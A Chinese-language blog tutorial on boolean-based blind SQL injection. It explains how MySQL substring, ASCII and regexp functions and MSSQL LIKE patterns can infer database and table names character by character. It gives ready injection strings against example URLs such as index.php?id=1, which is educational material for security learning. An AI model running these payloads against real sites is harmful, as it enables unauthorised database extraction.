基於布爾盲注---構造邏輯判斷

基於布爾盲注---構造邏輯判斷

注入過程中常用的猜解字符長的函數 mid(), substr(), left()

mid(column_name,start[,length]) 截取部分字符串
參數 描述
column_name 必需。要提取字符的字段
start 必需。規定開始的位置(起始值爲1)
length 可選。要返回的字符數。如果省略,則mid()函數返回剩餘文本

Eg:

​ str=‘123456’ mid(str,2,1) --> 結果爲2

sql列子:

1. mid(databse(),1,1)>'a' ,查看數據庫名字的第一個字母,mid(database(),2,1)查看數據庫名第二位,依次查看字符
	2. mid((select table_name from information_schema.tables where table_schema=0xxxxxxx limit 0,1),1,1)>'a' column_name參數爲sql語句,可以自己構造來查詢注入。
substr()函數

substr()和substring()函數實現的功能是一樣的,都是截取字符串。

string substring(string, start, length)

string substr(string, start, length) //第一個是要處理的字符串,字符串開始的位置,截取的長度

sql列子:

1. substr(database(),1,1)>'a' 數據庫第一位,substr(database(),2,1)數據庫第二位,依次查看字符串
	2. substr((select table_name from information_schema.tables where table_schema=0xxxxxx limit 0,1),1,1)>'a'  string 位置構造sql語句注入。
left()函數

left從左部開始截取指定的字符

left(string, n) n爲長度

sql:

left(database(),1)>‘a’ 數據庫名第一位,left(database(),2)>‘ab’ 數據庫前兩位

string構造sql語句

ord()函數

將返回第一個字符的ascii碼

ord(mid(database(),1,1))>114 檢測第一個字母是否大於114 “r”

ascii()函數

ascii(substr((select database()),1,1)) =98 將字符轉換成ascii值,同ord()函數

regexp 正則注入

用法:

select user() regexp ‘^[a-z]’

explain: 正則表達式的用法,user()結果爲root ,regexp爲匹配root的正則表達式

第二位可以用select user() regexp ‘^ro’

判斷第一個表名的第一個字符是否是a-z中的字符,blind_sqli是假設已知的庫名 ^[a-z]表示字符是在a-z範圍內.

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema=‘blind_sqli’) and table regexp ‘^[a-z]’ limit 0,1) /*

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/* 判斷是否爲a-n中的字符
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /* 確定是否該字符爲n
表達式範圍縮小如下:expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

當正確的時候結果爲1,不正確的時候顯示結果爲0.

select * from users where id =1 and 1=(if ((user() regexp ‘^r’), 1,0));

select * from users where id=1 and 1=(user() regexp ‘^ri’);

利用if語句判斷正確返回1,錯誤返回0

判斷匹配結束$

$是從結尾開始判斷的, table_name regexp’^username$’ 來進行判斷

關於匹配多個項:

改limit 0,1–>limit 1.1 是錯誤的,regexp匹配的時候會在所有項裏面進行匹配.止血藥循環爆破就好了.

MSSQL所用的正則表達式並不是標準正則表達式 ,該表達式使用 like關鍵詞

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA=“blind_sqli” and table_name LIKE ‘[a-z]%’ )

該查詢語句中,select top 1 是一個組合哦,不要看錯了。

如果要查詢其它的表名,由於不能像mysql哪樣用limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意義是:表名沒有在前x行裏,其實查詢的就是x+1行.

例如 查詢第二行的表名:

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )

select user() like 'ro%'

表達式的順序:

'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE

之所以表達式 news[a-z]查詢後返回正確是應爲%代表0-n個字符,使用"_"則只能代表一個字符。故確認後續是否還有字符克用如下表達式

'news%' TRUE -> 'news_' FALSE

文章簡書鏈接:

https://www.jianshu.com/p/0cac30ed8af9

個人博客鏈接:
http://pigdaqiang.top
或者:
http://texttxet.github.io

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章